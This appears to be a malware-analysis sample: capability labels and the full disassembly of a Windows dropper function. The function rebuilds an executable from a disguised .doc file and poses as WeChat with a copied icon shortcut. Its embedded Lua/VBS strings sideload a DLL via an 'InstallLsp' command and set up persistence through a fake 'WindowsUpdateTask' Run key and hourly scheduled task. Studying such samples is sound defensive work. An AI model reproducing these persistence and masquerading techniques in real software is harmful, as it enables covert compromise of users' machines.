Function at 0x404b00
Capabilities:
Copy file
Create process on windows
Create shortcut via ishelllink
Delete file
Get common file path
Get file size
Get startup folder
Persist via run registry key
Query or enumerate registry value
Read file on windows
Schedule task via schtasks
Write and execute a file
Write file on windows
Write file to startup folder

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x434dbe
mov eax, dword fs:[0]
push eax
sub esp, 0x628
mov eax, dword [0x442754]
xor eax, esp
mov dword [esp + 0x620], eax
push ebx
push esi
push edi
mov eax, dword [0x442754]
xor eax, esp
push eax
lea eax, [esp + 0x638]
mov dword fs:[0], eax
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.C:UsersPublicUpdateWinXShell.lua
call esi
push 0x439cd8
call esi
push str.C:UsersAdministratorAppDataRoamingMicrosoftInternet_ExplorerQuick_LaunchUser_PinnedTaskBar_
call esi
push 0
push 0x80
push 3
push 0
push 0
push connect
push str.C:UsersPublicUpdateexplorer.doc
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
push ebx
call fcn.0041c606
add esp, 4
push 0
mov esi, eax
lea eax, [esp + 0x4c]
push eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push 0x439d94
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
lea ecx, [esp + 0x38]
push ecx
push 3
lea edx, [esp + 0x1c]
mov edi, eax
push edx
push edi
mov word [esp + 0x24], 0x5a4d
mov byte [esp + 0x26], 0x90
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [esp + 0x38]
push eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push esi
call fcn.0041ba30
add esp, 4
lea ecx, [esp + 0x214]
push ecx
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jne 0x4051ef
push 8
mov esi, 0xf
push 0x439dc0
lea ecx, [esp + 0x13c]
mov dword [esp + 0x150], esi
mov dword [esp + 0x14c], ebx
mov byte [esp + 0x13c], bl
call fcn.00417270
mov dword [esp + 0x640], ebx
lea eax, [esp + 0x214]
mov dword [esp + 0x110], esi
mov dword [esp + 0x10c], ebx
mov byte [esp + 0xfc], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404c83
sub eax, edx
push eax
lea edx, [esp + 0x218]
push edx
lea ecx, [esp + 0x104]
call fcn.00417270
lea eax, [esp + 0xfc]
push eax
mov eax, 0x439dcc
lea ecx, [esp + 0x170]
mov byte [esp + 0x644], 1
call fcn.00418d50
mov ecx, eax
lea eax, [esp + 0x138]
lea ebx, [esp + 0x18c]
mov byte [esp + 0x644], 2
call fcn.00418da0
push eax
lea ecx, [esp + 0xe8]
push ecx
mov byte [esp + 0x64c], 3
call fcn.00404a50
add esp, 0xc
mov esi, 0x10
cmp dword [esp + 0x19c], esi
jb 0x404d16
mov edx, dword [esp + 0x188]
push edx
call fcn.0041bbe0
add esp, 4
xor ebx, ebx
mov dword [esp + 0x19c], 0xf
mov dword [esp + 0x198], ebx
mov byte [esp + 0x188], bl
cmp dword [esp + 0x180], esi
jb 0x404d4a
mov eax, dword [esp + 0x16c]
push eax
call fcn.0041bbe0
add esp, 4
mov dword [esp + 0x180], 0xf
mov dword [esp + 0x17c], ebx
mov byte [esp + 0x16c], bl
mov byte [esp + 0x640], 7
cmp dword [esp + 0x110], esi
jb 0x404d84
mov ecx, dword [esp + 0xfc]
push ecx
call fcn.0041bbe0
add esp, 4
mov eax, dword [esp + 0xe0]
mov dword [esp + 0x110], 0xf
mov dword [esp + 0x10c], ebx
mov byte [esp + 0xfc], bl
cmp dword [esp + 0xf4], esi
jae 0x404db4
lea eax, [esp + 0xe0]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
push eax
call esi
push str.C:UsersPublicDesktop_
call esi
push ebx
push str.C:UsersPublicWeChat.exe
push 0x439d94
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x40
lea edx, [esp + 0x54]
push ebx
push edx
call fcn.00421fd0
xor eax, eax
add esp, 0xc
cmp dword [esp + 0xf4], 0x10
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0xe0]
mov dword [esp + 0x24], ebx
mov dword [esp + 0x4c], 0x44
jae 0x404e17
lea eax, [esp + 0xe0]
push str._C:UsersPublicWeChat.exe___1_1__
push eax
push 0x439e40
push 3
call fcn.00402eb0
add esp, 0x10
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x50]
push edx
push ebx
push ebx
push 0x200
push 1
push ebx
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x404e68
mov eax, dword [ebp + 8]
push 0x439e78
push eax
mov edi, 0x35
call fcn.00412810
add esp, 8
jmp 0x40519d
mov ecx, dword [esp + 0x24]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [esp + 0x24]
push edx
call edi
mov eax, dword [esp + 0x28]
push eax
call edi
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
lea ecx, [esp + 0x18]
push ecx
push 0x43646c
push 1
push ebx
push 0x43647c
mov dword [esp + 0x2c], ebx
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x405197
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x14]
push ecx
mov dword [esp + 0x18], ebx
mov edx, dword [eax]
mov edx, dword [edx]
push 0x43648c
push eax
call edx
cmp eax, ebx
jl 0x40518b
lea eax, [esp + 0x424]
push eax
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
xor ecx, ecx
mov word [esp + 0x150], cx
mov esi, 7
push 6
mov eax, 0x439eb0
lea ecx, [esp + 0x154]
mov dword [esp + 0x168], esi
mov dword [esp + 0x164], ebx
call fcn.00417820
mov byte [esp + 0x640], 8
xor edx, edx
lea eax, [esp + 0x424]
mov word [esp + 0x1a4], dx
mov dword [esp + 0x1b8], esi
mov dword [esp + 0x1b4], ebx
lea edx, [eax + 2]
jmp 0x404f40
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x404f40
sub eax, edx
sar eax, 1
push eax
lea eax, [esp + 0x428]
lea ecx, [esp + 0x1a8]
call fcn.00417820
lea eax, [esp + 0x1a4]
lea ecx, [esp + 0x1f8]
mov byte [esp + 0x640], 9
call fcn.00418de0
mov edx, eax
lea eax, [esp + 0x150]
lea ecx, [esp + 0x118]
mov byte [esp + 0x640], 0xa
call fcn.00418e20
lea esi, [esp + 0x1f8]
call fcn.00414ee0
lea esi, [esp + 0x1a4]
mov byte [esp + 0x640], 0xd
call fcn.00414ee0
mov ecx, dword [esp + 0x118]
mov esi, 8
cmp dword [esp + 0x12c], esi
jae 0x404fd7
lea ecx, [esp + 0x118]
mov eax, dword [esp + 0x14]
mov edx, dword [eax]
push 2
push ecx
push eax
mov eax, dword [edx + 0x14]
call eax
cmp eax, ebx
jl 0x40515f
mov eax, dword [esp + 0x18]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x44]
push ebx
push str.C:UsersPublicWeChat.ico
push eax
call edx
mov ecx, dword [esp + 0x118]
cmp dword [esp + 0x12c], esi
jae 0x405017
lea ecx, [esp + 0x118]
mov eax, dword [esp + 0x14]
mov edx, dword [eax]
push 1
push ecx
push eax
mov eax, dword [edx + 0x18]
call eax
push 0x439edc
push 0x439cd8
call fcn.0041ca5f
mov esi, eax
add esp, 8
cmp esi, ebx
jne 0x405059
mov ecx, dword [ebp + 8]
push 0x439ee0
push ecx
mov edi, 0x46
call fcn.00412810
add esp, 8
jmp 0x40515f
lea edx, [esp + 0x1c]
push edx
push 0x20019
push ebx
push str.SOFTWARETencentWeChat
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edx, dword [esp + 0x1c]
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x320]
push ecx
push ebx
push ebx
push str.InstallPath
push edx
mov dword [esp + 0x38], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push str.WeChat.exe
lea eax, [esp + 0x320]
push 0x104
push eax
call fcn.0041d30e
mov ecx, dword [esp + 0x28]
add esp, 0xc
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0x31c]
push edx
lea ecx, [esp + 0x1e0]
call fcn.004144c0
push eax
lea eax, [esp + 0x1c4]
push eax
mov byte [esp + 0x648], 0xe
call fcn.00404a50
add esp, 8
lea ecx, [esp + 0x1dc]
mov byte [esp + 0x640], 0xd
call fcn.00414500
cmp dword [esp + 0x1d4], 0x10
mov eax, dword [esp + 0x1c0]
jae 0x405119
lea eax, [esp + 0x1c0]
push str.___0__napp:call_sleep_3000_local_file__io.open_C:UsersPublicUpdate..timestamp...vbs___w___nfile:write_str__nfile:close___nos.exit_0_
push eax
push str.require_winapi_nlocal_str_____nDim_shell__command_nSet_shell__CreateObject__WScript.Shell___ncommand___cmd.exe__c_copy__Y__b_C:UsersPublicUpdate4d5a90.docC:UsersPublicUpdateimageres_C:UsersPublicUpdate0923.dll__nshell.Run_command__0__True_nshell.Run__C:UsersPublicUpdateWindowsSecurity.exe__InstallLsp_C:UsersPublicUpdate0923.dll___1__false_nSet_shell__Nothing_n___nlocal_timestamp__os.time___nreg_write___HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun____WindowsUpdateTask__C:UsersPublicUpdate..timestamp...vbs__winapi.REG_SZ__napp:run_schtasks___Create__TN_WindowsUpdateTask__SC_MINUTE__MO_60__TR_C:UsersPublicUpdate..timestamp...vbs__F_0__napp:run_
push 3
call fcn.00402eb0
push eax
push 0x43a2bc
push esi
call fcn.0041d37b
push esi
call fcn.0041cc56
mov ecx, dword [ebp + 8]
push 0x43a2c0
push ecx
mov edi, 0x35
call fcn.00412810
add esp, 0x28
lea ecx, [esp + 0x1c0]
call fcn.00414500
mov eax, dword [esp + 0x14]
mov edx, dword [eax]
push eax
mov eax, dword [edx + 8]
call eax
lea esi, [esp + 0x118]
call fcn.00414ee0
lea esi, [esp + 0x150]
mov byte [esp + 0x640], 7
call fcn.00414ee0
mov eax, dword [esp + 0x18]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
call dword [sym.imp.ole32.dll_CoUninitialize]
mov esi, 0x10
cmp dword [esp + 0xf4], esi
jb 0x4051bb
mov eax, dword [esp + 0xe0]
push eax
call fcn.0041bbe0
add esp, 4
mov dword [esp + 0xf4], 0xf
mov dword [esp + 0xf0], ebx
mov byte [esp + 0xe0], bl
cmp dword [esp + 0x148], esi
jb 0x4051ed
mov ecx, dword [esp + 0x134]
push ecx
call fcn.0041bbe0
add esp, 4
xor ebx, ebx
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xbb8
call esi
push 0x40
lea edx, [esp + 0x9c]
push ebx
push edx
call fcn.00421fd0
add esp, 0xc
xor eax, eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
lea eax, [esp + 0x38]
push eax
lea ecx, [esp + 0x98]
push ecx
push ebx
push ebx
push 0x200
push 1
push ebx
push ebx
push 0x43a2f8
push ebx
mov dword [esp + 0x60], ebx
mov dword [esp + 0xbc], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x40526c
mov edx, dword [ebp + 8]
push 0x43a380
push edx
lea edi, [eax + 0x40]
call fcn.00412810
add esp, 8
xor eax, eax
jmp 0x4052d4
push 0x3e8
call esi
push 0x439edc
push str.C:UsersPublicUpdateWinXShell.lua
call fcn.0041ca5f
mov esi, eax
add esp, 8
cmp esi, ebx
jne 0x4052a5
mov eax, dword [ebp + 8]
push 0x43a3c4
push eax
mov edi, 0x36
call fcn.00412810
add esp, 8
xor eax, eax
jmp 0x4052d4
push str.require_winapi_nlocal_str_____nDim_shell__command_nSet_shell__CreateObject__WScript.Shell___ncommand___cmd.exe__c_copy__Y__b_C:UsersPublicUpdate4d5a90.docC:UsersPublicUpdateimageres_C:UsersPublicUpdate0923.dll__nshell.Run_command__0__True_nshell.Run__C:UsersPublicUpdateWindowsSecurity.exe__InstallLsp_C:UsersPublicUpdate0923.dll___1__false_nSet_shell__Nothing_n___nlocal_timestamp__os.time___nreg_write___HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun____WindowsUpdateTask__C:UsersPublicUpdate..timestamp...vbs__winapi.REG_SZ__napp:run_schtasks___Create__TN_WindowsUpdateTask__SC_MINUTE__MO_60__TR_C:UsersPublicUpdate..timestamp...vbs__F_0__napp:run_explorer___0__napp:call_sleep_3000_local_file__io.open_C:UsersPublicUpdate..timestamp...vbs___w___nfile:write_str__nfile:close___nos.exit_0_
push 0x43a2bc
push esi
call fcn.0041d37b
push esi
call fcn.0041cc56
mov ecx, dword [ebp + 8]
push 0x43a768
push ecx
mov edi, 0x3f
call fcn.00412810
add esp, 0x18
lea eax, [edi - 0x3e]
mov ecx, dword [esp + 0x638]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x620]
xor ecx, esp
call fcn.0041ba21
mov esp, ebp
pop ebp
ret